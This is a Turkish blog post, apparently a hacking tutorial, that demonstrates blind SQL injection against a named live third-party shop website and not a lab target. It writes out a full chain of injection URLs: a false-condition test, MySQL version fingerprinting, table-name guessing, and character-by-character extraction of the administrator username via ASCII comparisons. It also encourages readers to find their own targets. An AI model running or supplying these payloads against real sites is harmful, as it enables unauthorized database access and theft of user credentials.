[ana sayfa] [hakkımda] [arşiv] [iletişim]

0 Blind SQL Injection (Temel)

Merhaba, bu yazıda sizlere MySQL Blind Injection'dan bahsedicem.Normal SQLi bilgilerinize  güvenerek Blind SQLi'de birşeyler yaparım diyorsanız elinize kayda değer birşey geçirecemeyecek, sıkılıp vazgeçeceksiniz.Çünkü Blind SQLi'de sayfada işinize yarayan verileri yazdıramıyorsunuz, her harf için sorgunuzu tekrar düzenlemeniz, bir yandan da aldığınız tepkilere göre ASCII tablosundan yararlanmanız gerekiyor.Yani sabır ve ince işçilik isteyen bir iş.

[1] Sitede Blind SQLi Var mı? Yok mu?

Target  : http://erotikvitrin.net/kategori/45-teknolojik-vibratorler.html

Ben bu yazıma konuk olarak yukarıda gördüğünüz yarak kürek işlerle uğraşan siteyi misafir edicem.Siz artık kendi sitenizi kendiniz bulursunuz :)



Sayfanın normal hali bu,Siteyi mantık hatasına sokmak için and sorgusu kullanılır.and+1=2 ya da and+false gibi sorgularla zaafiyeti anlayabilirsiniz.

Deneyelim:

http://erotikvitrin.net/kategori/45+and+false-teknolojik-vibratorler.html


Sayfa boş döndü...Blind SQLi var olduğunu anlıyoruz.Eğer and+true deseydik hiçbir değişiklik olmayacak, yani dolu görünecekti.

[2] MySQL Versiyonu?

Blind SQLi'da mysql versiyonunu alırken substring() fonksiyonunu kullanıyoruz.substring() fonksiyonu bir karakter dizisi için sadece belli bir bölümü çekmeye yarıyor.

http://erotikvitrin.net/kategori/45+and+substring(@@version,1,1)=4+-teknolojik-vibratorler.html

Bu parametre false döndürdü çünkü mysql versiyonu 4 değil,

http://erotikvitrin.net/kategori/45+and+substring(@@version,1,1)=5+-teknolojik-vibratorler.html

Bu parametre true döndürdü çünkü mysql versiyonu=5 !

[3] SELECT Sorgusu Çalışıyor mu?

http://erotikvitrin.net/kategori/45+and+(select+1)=1+-teknolojik-vibratorler.html

Eğer and+(select+1)=1 sorgusunu verdiğimizde site true dönerse SELECT sorgusu kullanılabilir demektir.

Select çalıştığına göre kullanıcı verilerine ulaşabiliriz.Deneme yanılma yapıcaz.

http://erotikvitrin.net/kategori/45+and+(select+1+from+admin+limit 0,1)=1+-teknolojik-vibratorler.html

admin denedim ama sayfa false yani boş döndü.ama uyeler olarak denediğimde biliyorum ki true dönecek çünkü biliyorum ki tablo adı uyeler :)

http://erotikvitrin.net/kategori/45+and+(select+1+from+uyeler+limit 0,1)=1+-teknolojik-vibratorler.html

Kullanıcı tablolarını bulduk devam ediyoruz...Sırada kolonlar var; deneme yanılma yapmadan direk sorguyu veriyorum; uygun kolon adı : kullanici_adi sayfa true dönecek.

http://erotikvitrin.net/kategori/45+and+(select+substring(concat(1,kullanici_adi),1,1)+from+users limit+0,1)=1+-teknolojik-vibratorler.html

kullanıcı adını çekecek exploit 'miz şu şekilde olacak:

http://erotikvitrin.net/kategori/45+and+ascii(substring((select+concat(kullanici_adi)+from+uyeler+limit+0,1),1,1))>97+-teknolojik-vibratorler.html

buradaki 97 rakamı ascii tablosunda a harfine karşılık gelen karakter.İşin sabır isteyen kısmı burası arkadaşlar.ASCII tablosundan tek tek karakterleri deneyerek harf harf bilgileri çekip en sonunda birleştirmeniz gerekiyor.Bu yüzden yazının başında da belirttiğim gibi ince işçilik şart.

Bir yandan karakterleri denerken bir yandan da not almanız sorgular arasında kaybolmanızı önler ve verileri daha rahat bir araya getirirsiniz.

/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),1,1))>97-a
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),2,1))>100-d
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),3,1))>109-m
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),4,1))>105-i
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),5,1))>110-n

ASCII Table :
Şimdilik bu kadar...Bir sonraki yazıda görüşmek üzere hacılar, hayırlı işler ;)

0 yorum :

Yorum Gönder

Yorumun denetlendikten sonra görüntülenecek...Teşekkürler!